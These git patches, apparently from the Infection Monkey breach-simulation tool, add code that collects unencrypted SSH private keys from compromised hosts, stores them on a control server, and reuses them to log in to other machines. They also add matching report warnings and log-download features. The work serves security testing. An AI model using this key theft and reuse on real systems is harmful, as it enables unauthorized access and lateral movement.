trying to ssh into servers" } } }, @@ -800,7 +808,8 @@ ENCRYPTED_CONFIG_ARRAYS = \ [ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'] + ['internal', 'exploits', 'exploit_ntlm_hash_list'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] @@ -888,6 +897,11 @@ class ConfigService: def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) + @staticmethod + def ssh_add_keys(public_key, private_key): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key}) + @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: @@ -979,7 +993,11 @@ class ConfigService: keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + # Check if we are decrypting ssh key pair + if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: + flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + else: + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) return flat_config @@ -992,4 +1010,19 @@ class ConfigService: config_arr = config_arr[config_key_part] for i in range(len(config_arr)): - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + # Check if array of shh key pairs and then decrypt + if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: + config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else: + config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + + @staticmethod + def decrypt_ssh_key_pair(pair, encrypt=False): + if encrypt: + pair['public_key'] = encryptor.enc(pair['public_key']) + pair['private_key'] = encryptor.enc(pair['private_key']) + else: + pair['public_key'] = encryptor.dec(pair['public_key']) + pair['private_key'] = encryptor.dec(pair['private_key']) + return pair From 5f194b70f2cf68f731fd92f6c5cac49fd506d3ee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 17:11:45 +0300 Subject: [PATCH 59/92] Unecessary import fixed --- monkey_island/cc/services/config.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2ffc990a9..1188c7d1e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,7 +1,6 @@ import copy import collections import functools -import json from jsonschema import Draft4Validator, validators from cc.database import mongo From f45cebfd5ec8ea4e93a405170c69f49d2ecfe4a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 25 May 2018 01:34:24 +0300 Subject: [PATCH 60/92] Does not store encrypted or already present ssh keys, shows all users from whom SSH private key were stolen under "stolen credentials" in report --- .../system_info/SSH_info_collector.py | 14 +++++++++--- monkey_island/cc/resources/telemetry.py | 10 ++++++++- monkey_island/cc/services/config.py | 14 +++++++++--- monkey_island/cc/services/report.py | 22 +++++++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 2 +- 5 files changed, 54 insertions(+), 8 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12244abac..af1915e4d 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -60,14 +60,19 @@ class SSHCollector(object): LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info['public_key'] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: - info['private_key'] = f.read() - LOG.info("Found private key in %s" % private) + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find('ENCRYPTED') == -1: + info['private_key'] = private_key + LOG.info("Found private key in %s" % private) + else: + continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' @@ -79,6 +84,9 @@ class SSHCollector(object): LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass + # If private key found don't search more + if info['private_key']: + break except (IOError, OSError): pass except OSError: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 452a33818..ec05558d8 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -170,6 +170,8 @@ class Telemetry(flask_restful.Resource): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_creds({}, ssh_info) + if telemetry_json['data']['network_info']['networks']: + Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] @@ -177,6 +179,11 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + @staticmethod + def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + @staticmethod def process_trace_telemetry(telemetry_json): # Nothing to do @@ -217,7 +224,8 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_username(user['name']) # Public key is useless without private key if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 1188c7d1e..46773c0fb 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -897,9 +897,17 @@ class ConfigService: ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) @staticmethod - def ssh_add_keys(public_key, private_key): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', - {"public_key": public_key, "private_key": private_key}) + def ssh_add_keys(public_key, private_key, user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) + ['exploits']['exploit_ssh_keys'], + user, ip): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key, + "user": user, "ip": ip}) + + @staticmethod + def ssh_key_exists(keys, user, ip): + return [key for key in keys if key['user'] == user and key['ip'] == ip] @staticmethod def update_config(config_json, should_encrypt): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..0ceadc26b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -149,6 +149,27 @@ class ReportService: ) return creds + @staticmethod + def get_ssh_keys(): + """ + Return private ssh keys found as credentials + :return: List of credentials + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'data.ssh_info': 1, 'monkey_guid': 1} + ): + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + if telem['data']['ssh_info']: + # Pick out all ssh keys not yet included in creds + ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} for key_pair in telem['data']['ssh_info'] + if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} not in creds] + creds.extend(ssh_keys) + return creds + @staticmethod def get_azure_creds(): """ @@ -433,6 +454,7 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), + 'ssh_keys': ReportService.get_ssh_keys() }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..393b1cc74 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -414,7 +414,7 @@ class ReportPageComponent extends AuthComponent {
- +
); From 30a3bbf9a0462a58f357ba4c1b836410e2ad7460 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 29 May 2018 01:02:49 +0300 Subject: [PATCH 61/92] Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report --- infection_monkey/config.py | 6 +++ infection_monkey/example.conf | 1 + infection_monkey/exploit/__init__.py | 4 +- infection_monkey/exploit/sshexec.py | 32 +++++++++++++++- monkey_island/cc/resources/telemetry.py | 38 ++++++++++--------- monkey_island/cc/services/report.py | 19 ++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 24 +++++++++++- 7 files changed, 98 insertions(+), 26 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1f5fce4b1..c5421fb83 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -233,6 +233,12 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_ssh_key_pairs(self): + """ + :return: All combinations of the configurations users and ssh pairs + """ + return product(self.exploit_user_list, self.exploit_ssh_keys) + def get_exploit_user_password_or_hash_product(self): """ Returns all combinations of the configurations users and passwords or lm/ntlm hashes diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..51a108e5d 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -67,6 +67,7 @@ "exploit_password_list": [], "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 379d2bd92..a05f5b079 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -24,9 +24,9 @@ class HostExploiter(object): {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts}) - def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) @abstractmethod def exploit_host(self): diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index b93970ca9..2209a0685 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import logging import time import paramiko +import StringIO import monkeyfs from exploit import HostExploiter @@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False + + for user, ssh_key_pair in user_ssh_key_pairs: + # Creating file-like private key for paramiko + pkey = StringIO.StringIO(ssh_key_pair['private_key']) + ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + try: + pkey = paramiko.RSAKey.from_private_key(pkey) + except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + LOG.error("Failed reading ssh key") + try: + ssh.connect(self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=None) + LOG.debug("Successfully logged in %s using %s users private key", + self.host, ssh_string) + self.report_login_attempt(True, user, ssh_key=ssh_string) + exploited = True + break + except Exception as exc: + LOG.debug("Error logging into victim %r with %s" + " private key", self.host, + ssh_string) + self.report_login_attempt(False, user, ssh_key=ssh_string) + continue + + user_password_pairs = self._config.get_exploit_user_password_pairs() + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index ec05558d8..540802ca1 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge['to'], found_creds) @@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource): def process_system_info_telemetry(telemetry_json): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_creds_to_config({}, ssh_info) + Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds, ssh_info=None): + def encrypt_system_info_creds(creds): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - if ssh_info: - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds, ssh_info=None): + def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + @staticmethod + def add_system_info_creds_to_config(creds): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -219,15 +221,15 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - if ssh_info: - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - + @staticmethod + def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 0ceadc26b..15b11e877 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -34,6 +34,7 @@ class ReportService: SHELLSHOCK = 4 CONFICKER = 5 AZURE = 6 + STOLEN_SSH_KEYS = 7 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -203,9 +204,12 @@ class ReportService: for attempt in exploit['data']['attempts']: if attempt['result']: processed_exploit['username'] = attempt['user'] - if len(attempt['password']) > 0: + if attempt['password']: processed_exploit['type'] = 'password' processed_exploit['password'] = attempt['password'] + elif attempt['ssh_key']: + processed_exploit['type'] = 'ssh_key' + processed_exploit['ssh_key'] = attempt['ssh_key'] else: processed_exploit['type'] = 'hash' return processed_exploit @@ -231,8 +235,12 @@ class ReportService: @staticmethod def process_ssh_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ssh' - return processed_exploit + # Check if it's ssh key or ssh login credentials exploit + if processed_exploit['type'] == 'ssh_key': + return processed_exploit + else: + processed_exploit['type'] = 'ssh' + return processed_exploit @staticmethod def process_rdp_exploit(exploit): @@ -332,7 +340,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -392,6 +401,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True elif issue['type'] == 'azure_password': issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True + elif issue['type'] == 'ssh_key': + issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 393b1cc74..f8959a252 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent { SAMBACRY: 3, SHELLSHOCK: 4, CONFICKER: 5, - AZURE: 6 + AZURE: 6, + STOLEN_SSH_KEYS: 7 }; Warning = @@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats:
    + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateSshKeysIssue(issue) { + return ( +
  • + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
    +
  • + ); + } + generateRdpIssue(issue) { return (
  • @@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent { case 'ssh': data = this.generateSshIssue(issue); break; + case 'ssh_key': + data = this.generateSshKeysIssue(issue); + break; case 'rdp': data = this.generateRdpIssue(issue); break; From 6aeaf0f8571f0951fab67d339d0c7dad62682dd6 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 30 May 2018 18:30:56 +0300 Subject: [PATCH 62/92] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/app.py | 2 + monkey_island/cc/environment/environment.py | 6 +- monkey_island/cc/island_logger.py | 3 + .../cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/island_logs.py | 19 + monkey_island/cc/resources/telemetry.py | 9 +- monkey_island/cc/services/island_logs.py | 32 + monkey_island/cc/ui/package-lock.json | 1084 +++++++++++------ .../ui/src/components/pages/TelemetryPage.js | 55 +- 9 files changed, 802 insertions(+), 410 deletions(-) create mode 100644 monkey_island/cc/resources/island_logs.py create mode 100644 monkey_island/cc/services/island_logs.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 34d14ae86..6b9ac1154 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun from cc.resources.edge import Edge from cc.resources.local_run import LocalRun from cc.resources.log import Log +from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload @@ -104,5 +105,6 @@ def init_app(mongo_url): api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') + api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') return app diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..11b868070 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -1,7 +1,11 @@ import json +import logging import standard import aws +logger = logging.getLogger(__name__) + + ENV_DICT = { 'standard': standard.StandardEnvironment, 'aws': aws.AwsEnvironment @@ -19,5 +23,5 @@ try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() except Exception: - print('Failed initializing environment: %s' % __env_type) + logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py index 655a6b998..8fbef1e0e 100644 --- a/monkey_island/cc/island_logger.py +++ b/monkey_island/cc/island_logger.py @@ -3,6 +3,9 @@ import json import logging.config +__author__ = 'Maor.Rayzin' + + def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): """ Setup the logging configuration diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 020902dc8..0435222f6 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -38,6 +38,6 @@ "root": { "level": "INFO", - "handlers": ["console", "info_file_handler", "error_file_handler"] + "handlers": ["console", "info_file_handler"] } } \ No newline at end of file diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..1ca1a8cdf --- /dev/null +++ b/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import flask_restful +import logging + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) + diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index cb18ff845..9785d213f 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,4 +1,5 @@ import json +import logging import traceback import copy from datetime import datetime @@ -17,6 +18,9 @@ from cc.encryptor import encryptor __author__ = 'Barak' +logger = logging.getLogger(__name__) + + class Telemetry(flask_restful.Resource): @jwt_required() def get(self, **kw): @@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource): if telem_type in TELEM_PROCESS_DICT: TELEM_PROCESS_DICT[telem_type](telemetry_json) else: - print('Got unknown type of telemetry: %s' % telem_type) + logger.info('Got unknown type of telemetry: %s' % telem_type) except Exception as ex: - print("Exception caught while processing telemetry: %s" % str(ex)) - traceback.print_exc() + logger.error("Exception caught while processing telemetry", exc_info=True) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) diff --git a/monkey_island/cc/services/island_logs.py b/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..e0f519cbc 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" } }, @@ -2105,9 +2105,9 @@ } }, "core-js": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.5.tgz", - "integrity": "sha1-sU3ek2xkDAV5prUMq8wTLdYSfjs=" + "version": "2.5.6", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.6.tgz", + "integrity": "sha512-lQUVfQi0aLix2xpyjrrJEvfuYCqPc/HwmTKsC/VNf8q0zsjX7SQZtp4+oRONN5Tsur9GDETPjj+Ub2iDiGZfSQ==" }, "core-util-is": { "version": "1.0.2", @@ -5262,7 +5262,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.5", + "core-js": "2.5.6", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -6201,9 +6201,9 @@ "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, "npm": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-5.8.0.tgz", - "integrity": "sha512-DowXzQwtSWDtbAjuWecuEiismR0VdNEYaL3VxNTYTdW6AGkYxfGk9LUZ/rt6etEyiH4IEk95HkJeGfXE5Rz9xQ==", + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.10.0.tgz", + "integrity": "sha512-lvjvjgR5wG2RJ2uqak1xtZcVAWMwVOzN5HkUlUj/n8rU1f3A0fNn+7HwOzH9Lyf0Ppyu9ApgsEpHczOSnx1cwA==", "requires": { "JSONStream": "1.3.2", "abbrev": "1.1.1", @@ -6214,9 +6214,11 @@ "archy": "1.0.0", "bin-links": "1.1.0", "bluebird": "3.5.1", + "byte-size": "4.0.2", "cacache": "10.0.4", "call-limit": "1.1.0", "chownr": "1.0.1", + "cli-columns": "3.1.2", "cli-table2": "0.2.0", "cmd-shim": "2.0.2", "columnify": "1.5.4", @@ -6241,11 +6243,12 @@ "ini": "1.3.5", "init-package-json": "1.10.3", "is-cidr": "1.0.0", - "json-parse-better-errors": "1.0.1", + "json-parse-better-errors": "1.0.2", "lazy-property": "1.0.0", - "libcipm": "1.6.0", - "libnpx": "10.0.1", - "lockfile": "1.0.3", + "libcipm": "1.6.2", + "libnpx": "10.2.0", + "lock-verify": "2.0.2", + "lockfile": "1.0.4", "lodash._baseindexof": "3.1.0", "lodash._baseuniq": "4.6.0", "lodash._bindcallback": "3.0.1", @@ -6257,20 +6260,23 @@ "lodash.union": "4.6.0", "lodash.uniq": "4.5.0", "lodash.without": "4.4.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "meant": "1.0.1", "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", + "node-gyp": "3.6.2", "nopt": "4.0.1", "normalize-package-data": "2.4.0", + "npm-audit-report": "1.0.9", "npm-cache-filename": "1.0.2", "npm-install-checks": "3.0.0", "npm-lifecycle": "2.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-profile": "3.0.1", "npm-registry-client": "8.5.1", + "npm-registry-fetch": "1.1.0", "npm-user-validate": "1.0.0", "npmlog": "4.1.2", "once": "1.4.0", @@ -6279,39 +6285,40 @@ "pacote": "7.6.1", "path-is-inside": "1.0.2", "promise-inflight": "1.0.1", - "qrcode-terminal": "0.11.0", - "query-string": "5.1.0", + "qrcode-terminal": "0.12.0", + "query-string": "6.1.0", "qw": "1.0.1", "read": "1.0.7", "read-cmd-shim": "1.0.1", "read-installed": "4.0.3", "read-package-json": "2.0.13", - "read-package-tree": "5.1.6", - "readable-stream": "2.3.5", + "read-package-tree": "5.2.1", + "readable-stream": "2.3.6", "readdir-scoped-modules": "1.0.2", - "request": "2.83.0", - "retry": "0.10.1", + "request": "2.85.0", + "retry": "0.12.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "sha": "2.0.1", "slide": "1.1.6", "sorted-object": 